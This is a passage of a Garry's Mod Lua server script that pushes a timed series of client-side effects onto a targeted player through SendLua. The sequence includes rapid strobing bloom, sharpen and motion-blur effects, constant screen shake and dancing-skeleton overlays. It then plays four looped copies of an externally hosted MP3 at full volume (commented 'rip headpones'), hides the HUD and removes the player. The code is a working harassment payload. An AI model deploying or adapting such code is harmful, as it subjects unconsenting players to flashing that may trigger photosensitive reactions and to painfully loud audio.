  502.  
  503. surface.PlaySound( "garrysmod/save_load4.wav" )
  504. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  505. ]] )
  506. end )
  507.  
  508. --Disco time
  509. lol:PushAction( 10, function( pPlayer )
  510. local idx = pPlayer:EntIndex()
  511. timer.Create( "beat".. idx, 0.42, 0, function()
  512. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  513. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  514. end )
  515.  
  516.  
  517. lol:SendLua( pPlayer, [[
  518. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  519. local time = 0
  520.  
  521. hook.Add( "Think", "wat", function()
  522. if CurTime() < time then
  523. return
  524. end
  525.  
  526. time = CurTime() +0.05
  527. for i = 1, 16 do
  528. local part = emitter:Add(
  529. "particles/balloon_bit",
  530. LocalPlayer():GetPos() +Vector(
  531. math.random( -256, 256 ),
  532. math.random( -256, 256 ),
  533. 256
  534. )
  535. )
  536.  
  537. if part then
  538. local Size = math.random( 4, 7 )
  539.  
  540. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  541. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  542. part:SetDieTime( 4.5 )
  543. part:SetGravity( Vector(40, 0, -250) )
  544. part:SetLifeTime( 0 )
  545. part:SetStartSize( Size /2 )
  546. part:SetEndSize( Size )
  547. part:SetCollide( true )
  548. end
  549. end
  550. end )
  551. ]] )
  552.  
  553. lol:SendLua( pPlayer, [[
  554. hook.Add( "RenderScreenspaceEffects", "wat", function()
  555. local sinScaler = math.sin( CurTime() )
  556. DrawBloom(
  557. 0,
  558. 3,
  559. sinScaler *math.Rand(1, 8),
  560. sinScaler *math.Rand(1, 8),
  561. 6,
  562. math.Rand(0.5, 2),
  563. math.Rand(0, 0.3),
  564. math.Rand(0, 0.3),
  565. math.Rand(0.5, 1)
  566. )
  567.  
  568. DrawColorModify{
  569. ["$pp_colour_addr"] = 0,
  570. ["$pp_colour_addg"] = 0,
  571. ["$pp_colour_addb"] = 00,
  572. ["$pp_colour_brightness" ] = 0,
  573. ["$pp_colour_contrast" ] = 1,
  574. ["$pp_colour_colour" ] = 1,
  575. ["$pp_colour_mulr" ] = 0,
  576. ["$pp_colour_mulg" ] = 0,
  577. ["$pp_colour_mulb" ] = 1
  578. }
  579. end )
  580.  
  581. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  582. mdl:SetNoDraw( true )
  583. local posCache, time = {}, 0
  584.  
  585. hook.Add( "HUDPaint", "dance", function()
  586. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  587. local idx = mdl:LookupSequence("taunt_dance")
  588. mdl.SeqDuration = mdl:SequenceDuration( idx )
  589. mdl.SeqStart = CurTime()
  590. mdl:ResetSequence( idx )
  591. end
  592.  
  593. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  594.  
  595.  
  596. local w, h = 300, 300
  597. local ang = Angle( 0, 0, 0 )
  598.  
  599. for i = 1, 32 do
  600. if CurTime() > time then
  601. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  602. end
  603. local x, y = posCache[i][1], posCache[i][2]
  604.  
  605. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  606. cam.IgnoreZ( true )
  607. render.SuppressEngineLighting( true )
  608.  
  609. render.SetLightingOrigin( mdl:GetPos() )
  610. render.ResetModelLighting( 1, 1, 1 )
  611. render.SetColorModulation( 0, 0, 1 )
  612.  
  613. mdl:DrawModel()
  614.  
  615. render.SuppressEngineLighting( false )
  616. cam.IgnoreZ( false )
  617. cam.End3D()
  618. end
  619.  
  620. if CurTime() > time then
  621. time = CurTime() +0.15
  622. end
  623. end )
  624.  
  625. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  626. ]] )
  627. end )
  628.  
  629. --Let the beat drop
  630. lol:PushAction( 54, function( pPlayer )
  631. lol:SendLua( pPlayer, [[
  632. hook.Add( "GetMotionBlurValues", "wat", function()
  633. return 0, 0, 1, math.sin(CurTime() *13)
  634. end )
  635.  
  636. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  637. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  638. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  639. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  640. end )
  641.  
  642. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  643. render.SetMaterial( Material("cable/blue_elec") )
  644. for i = 1, 32 do
  645. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  646. end
  647. end )
  648.  
  649. timer.Create( "thedrop", 0.42, 0, function()
  650. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  651. end )
  652. ]] )
  653. end )
  654.  
  655. --EVIL TIME rip headpones
  656. lol:PushAction( 175, function( pPlayer )
  657. lol:SendLua( pPlayer, [[
  658. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  659.  
  660. local sounds = {}
  661. for i = 1, 4 do
  662. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  663. sounds[#sounds +1] = pChan
  664. end )
  665. end
  666.  
  667. timer.Create( "asdf", 1, 0, function()
  668. if #sounds ~= 4 then return end
  669. timer.Destroy( "asdf" )
  670. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  671. end )
  672.  
  673. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  674. ]] )
  675.  
  676. pPlayer:Remove()
  677. end
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